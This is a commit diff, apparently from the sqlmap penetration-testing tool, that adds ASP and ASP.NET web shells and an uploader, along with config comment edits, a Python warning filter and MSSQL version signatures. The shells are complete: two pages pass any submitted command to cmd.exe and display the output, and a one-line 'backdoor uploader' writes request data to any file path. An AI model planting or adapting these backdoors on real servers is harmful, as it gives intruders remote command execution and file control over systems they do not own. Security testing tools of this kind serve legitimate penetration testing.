|
||||
<%
|
||||
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
|
||||
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
|
||||
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
szCMD = request("cmd")
|
||||
|
||||
If (szCMD <> "") Then
|
||||
szTempFile = "C:\" & oFileSys.GetTempName()
|
||||
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
|
||||
Set oFile = oFileSys.OpenTextFile(szTempFile, 1, False, 0)
|
||||
End If
|
||||
%>
|
||||
|
||||
<HTML>
|
||||
<BODY>
|
||||
<FORM action="" method="GET">
|
||||
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
|
||||
<input type="submit" value="Run">
|
||||
</FORM>
|
||||
<PRE>
|
||||
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
|
||||
<br>
|
||||
<%
|
||||
If (IsObject(oFile)) Then
|
||||
On Error Resume Next
|
||||
Response.Write Server.HTMLEncode(oFile.ReadAll)
|
||||
oFile.Close
|
||||
Call oFileSys.DeleteFile(szTempFile, True)
|
||||
End If
|
||||
%>
|
||||
</BODY>
|
||||
</HTML>
|
||||
42
shell/backdoor.aspx
Normal file
42
shell/backdoor.aspx
Normal file
@@ -0,0 +1,42 @@
|
||||
<%@ Page Language="C#" Debug="true" Trace="false" %>
|
||||
<%@ Import Namespace="System.Diagnostics" %>
|
||||
<%@ Import Namespace="System.IO" %>
|
||||
<script Language="c#" runat="server">
|
||||
void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
string ExcuteCmd(string arg)
|
||||
{
|
||||
ProcessStartInfo psi = new ProcessStartInfo();
|
||||
psi.FileName = "cmd.exe";
|
||||
psi.Arguments = "/c "+arg;
|
||||
psi.RedirectStandardOutput = true;
|
||||
psi.UseShellExecute = false;
|
||||
Process p = Process.Start(psi);
|
||||
StreamReader stmrdr = p.StandardOutput;
|
||||
string s = stmrdr.ReadToEnd();
|
||||
stmrdr.Close();
|
||||
return s;
|
||||
}
|
||||
void cmdExe_Click(object sender, System.EventArgs e)
|
||||
{
|
||||
Response.Write("<pre>");
|
||||
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
|
||||
Response.Write("</pre>");
|
||||
}
|
||||
</script>
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<title>awen asp.net webshell</title>
|
||||
</HEAD>
|
||||
<body >
|
||||
<form id="cmd" method="post" runat="server">
|
||||
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
|
||||
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
|
||||
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
|
||||
</form>
|
||||
</body>
|
||||
</HTML>
|
||||
|
||||
<!-- Contributed by Dominic Chell (http://digitalapocalypse.blogspot.com/) -->
|
||||
<!-- http://michaeldaw.org 04/2007 -->
|
||||
@@ -1 +1,2 @@
|
||||
<p><b>sqlmap backdoor uploader</b></p>
|
||||
<%set f = server.createobject("Scripting.FileSystemObject"):set o=f.OpenTextFile(Request("f"), 2, True):o.Write Request("d"):o.Close:set o=Nothing:set f=Nothing%>
|
||||
23
shell/uploader.aspx
Normal file
23
shell/uploader.aspx
Normal file
@@ -0,0 +1,23 @@
|
||||
<%@ Page Language="vb" AutoEventWireup="false" Codebehind="uploader.aspx.vb" Inherits="VBNetUpload.WebForm1"%>
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<title>WebForm1</title>
|
||||
<meta name="GENERATOR" content="Microsoft Visual Studio.NET 7.0">
|
||||
<meta name="CODE_LANGUAGE" content="Visual Basic 7.0">
|
||||
<meta name=vs_defaultClientScript content="JavaScript">
|
||||
<meta name=vs_targetSchema content="http://schemas.microsoft.com/intellisense/ie5">
|
||||
</HEAD>
|
||||
<body MS_POSITIONING="GridLayout">
|
||||
|
||||
<form id="Form1" enctype="multipart/form-data" method="post" runat="server">
|
||||
|
||||
<INPUT type=file id=File1 name=File1 runat="server" >
|
||||
<br>
|
||||
<input type="submit" id="Submit1" value="Upload" runat="server" NAME="Submit1">
|
||||
|
||||
|
||||
</form>
|
||||
|
||||
</body>
|
||||
</HTML>
|
||||
41
shell/uploader.aspx.vb
Normal file
41
shell/uploader.aspx.vb
Normal file
@@ -0,0 +1,41 @@
|
||||
Public Class WebForm1
|
||||
Inherits System.Web.UI.Page
|
||||
Protected WithEvents File1 As System.Web.UI.HtmlControls.HtmlInputFile
|
||||
Protected WithEvents Submit1 As System.Web.UI.HtmlControls.HtmlInputButton
|
||||
|
||||
#Region " Web Form Designer Generated Code "
|
||||
|
||||
'This call is required by the Web Form Designer.
|
||||
<System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init
|
||||
'CODEGEN: This method call is required by the Web Form Designer
|
||||
'Do not modify it using the code editor.
|
||||
InitializeComponent()
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
|
||||
Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
||||
'Put user code to initialize the page here
|
||||
End Sub
|
||||
|
||||
Private Sub Submit1_ServerClick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Submit1.ServerClick
|
||||
|
||||
If Not File1.PostedFile Is Nothing And File1.PostedFile.ContentLength > 0 Then
|
||||
Dim fn As String = System.IO.Path.GetFileName(File1.PostedFile.FileName)
|
||||
Dim SaveLocation as String = Server.MapPath("Data") & "\" & fn
|
||||
Try
|
||||
File1.PostedFile.SaveAs(SaveLocation)
|
||||
Response.Write("The file has been uploaded.")
|
||||
Catch Exc As Exception
|
||||
Response.Write("Error: " & Exc.Message)
|
||||
End Try
|
||||
Else
|
||||
Response.Write("Please select a file to upload.")
|
||||
End If
|
||||
|
||||
End Sub
|
||||
End Class
|
||||
13
sqlmap.conf
13
sqlmap.conf
@@ -62,7 +62,7 @@ aType =
|
||||
aCred =
|
||||
|
||||
# Use a HTTP proxy to connect to the target url.
|
||||
# Syntax: http://url:port
|
||||
# Syntax: http://address:port
|
||||
proxy =
|
||||
|
||||
# Maximum number of concurrent HTTP requests (handled with Python threads)
|
||||
@@ -250,15 +250,16 @@ user =
|
||||
# Valid: True or False
|
||||
excludeSysDbs = False
|
||||
|
||||
# First table entry to dump (cursor start)
|
||||
# First query output entry to retrieve
|
||||
# Valid: integer
|
||||
# Default: 0 (sqlmap will start to dump the table entries from the first)
|
||||
# Default: 0 (sqlmap will start to retrieve the query output entries from
|
||||
# the first)
|
||||
limitStart = 0
|
||||
|
||||
# Last table entry to dump (cursor stop)
|
||||
# Last query output entry to retrieve
|
||||
# Valid: integer
|
||||
# Default: 0 (sqlmap will detect the number of table entries and dump
|
||||
# until the last)
|
||||
# Default: 0 (sqlmap will detect the number of query output entries and
|
||||
# retrieve them until the last)
|
||||
limitStop = 0
|
||||
|
||||
# SQL SELECT query to be executed.
|
||||
|
||||
@@ -28,6 +28,9 @@ import os
|
||||
import sys
|
||||
import time
|
||||
import traceback
|
||||
import warnings
|
||||
|
||||
warnings.filterwarnings(action="ignore", message=".*(md5|sha) module is deprecated", category=DeprecationWarning)
|
||||
|
||||
try:
|
||||
import psyco
|
||||
|
||||
@@ -1,12 +1,44 @@
|
||||
<?xml version="1.0" ?>
|
||||
<root>
|
||||
<signatures release="2008">
|
||||
<signature>
|
||||
<version>
|
||||
10.00.2714
|
||||
</version>
|
||||
<servicepack>
|
||||
1 + Cumulative Update 2 for Service Pack 1
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
10.00.2710
|
||||
</version>
|
||||
<servicepack>
|
||||
1 + Cumulative Update 1 for Service Pack 1
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
10.00.2531
|
||||
</version>
|
||||
<servicepack>
|
||||
1
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
10.00.1798
|
||||
</version>
|
||||
<servicepack>
|
||||
0 + Cumulative Update 4
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
10.00.1787
|
||||
</version>
|
||||
<servicepack>
|
||||
+ Cumulative Update 3
|
||||
0 + Cumulative Update 3
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
@@ -14,7 +46,7 @@
|
||||
10.00.1779
|
||||
</version>
|
||||
<servicepack>
|
||||
+Q958186
|
||||
0+Q958186
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
@@ -22,7 +54,7 @@
|
||||
10.00.1771
|
||||
</version>
|
||||
<servicepack>
|
||||
+Q958611
|
||||
0+Q958611
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
@@ -30,12 +62,12 @@
|
||||
10.00.1750
|
||||
</version>
|
||||
<servicepack>
|
||||
+Q956718
|
||||
0+Q956718
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
10.0.1600.22
|
||||
10.00.1600.22
|
||||
</version>
|
||||
<servicepack>
|
||||
0
|
||||
@@ -67,6 +99,22 @@
|
||||
</signature>
|
||||
</signatures>
|
||||
<signatures release="2005">
|
||||
<signature>
|
||||
<version>
|
||||
9.00.4220
|
||||
</version>
|
||||
<servicepack>
|
||||
3+Q967909
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
9.00.4216
|
||||
</version>
|
||||
<servicepack>
|
||||
3+Q967101
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
9.00.4211
|
||||
@@ -88,7 +136,7 @@
|
||||
9.00.4035
|
||||
</version>
|
||||
<servicepack>
|
||||
+3
|
||||
3
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
|
||||
Reference in New Issue
Block a user